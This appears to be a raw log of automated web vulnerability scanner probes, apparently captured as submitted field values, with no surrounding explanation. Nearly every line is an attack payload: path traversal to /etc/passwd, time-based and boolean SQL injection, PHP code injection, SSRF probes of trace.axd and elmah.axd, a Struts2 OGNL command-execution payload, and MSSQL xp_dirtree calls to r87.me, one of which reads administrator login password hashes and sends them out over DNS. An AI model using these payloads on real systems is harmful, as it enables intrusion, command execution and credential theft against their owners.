54.243.205.65/trace.axd

3

/../../../../../../../../../../proc/version.php

[php]print(int)0xFFF9999-2723;[/php]

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 91fb1bad-820c-4829-96a7-68ce6464820b */

h_cszcnetxwgvfqpavxc29s20htjlwmjcomot5tsbx4.r87.me

3

3

3

-1'||'N'=='3

3

127.100.11.2/trace.axd

/../../../../../../../../../../../etc/passwd

3

[php]print(int)0xFFF9999-36840;[/php]

'+((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 9ab8372a-c375-4606-940c-b8267693c2a4 */

'||'7892'=='7893

h_cszcnetx75wszo826zni9ygrutsq67isoit-xkcpe.r87.me

3

3

127.0.0.1/trace.axd

exec('xp_dirtree ''\\h_cszcnetxufjwhxs3r_61tzjpuv_xuym9a-xjca'+'pzc.r87.me'+'\c$\a''')

/../../../../../../../../../../../etc/passwd

3

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 670d32c7-c6e0-47f4-92f6-2b1695a96d0d */

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='49492').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c','SET /A 0xFFF9999 -' + #cmd}:{'/bin/bash','-c','expr 268409241 - ' + #cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}

//h_cszcnetxcl0kyfzx_xcg_jmv1ki-8tp2kcgetihre.r87.me

3

3

3

exec('xp_dirtree ''\\h_cszcnetxltbmemjvfhesixrvq-jksfohlncizq'+'1zg.r87.me'+'\c$\a''')

'||7890=='7890

[::1]/trace.axd

file:///etc/passwd

print localtime()*0+0xFFF9999-35552

3

-1' or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+' /* 8a33b83e-6f05-49d1-b6f9-d1b1c6a2f4b2 */

//h_cszcnetxmtjgkhncvsw76nrmr2gkk4bm9i4qdgy4s.r87.me

declare @h varchar(999)select @h='1'+substring(name+'-'+master.sys.fn_varbintohexstr(ISNULL(password_hash,0x0)),0,63)+'.h_cszcnetxb4uebh8swgwqgmgb37orupkbtc7juh'+'2lm.r87.me' from sys.sql_logins WHERE principal_id=1;exec('xp_dirtree ''\\'+@h+'\c$''')

3

'||true||'

3

3

https://www.imagwiki.nibib.nih.gov/elmah.axd

/../../../../../../../../../../../etc/passwd

print localtime()*0+0xFFF9999-70522

-1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A)) /* c5106ef8-6e1a-414d-af2c-05c0f4cca729 */

3

3

http://r87.me/r/?id=h_cszcnetx88nj_hojlzaq8pdxljebqemtrvdy0whcg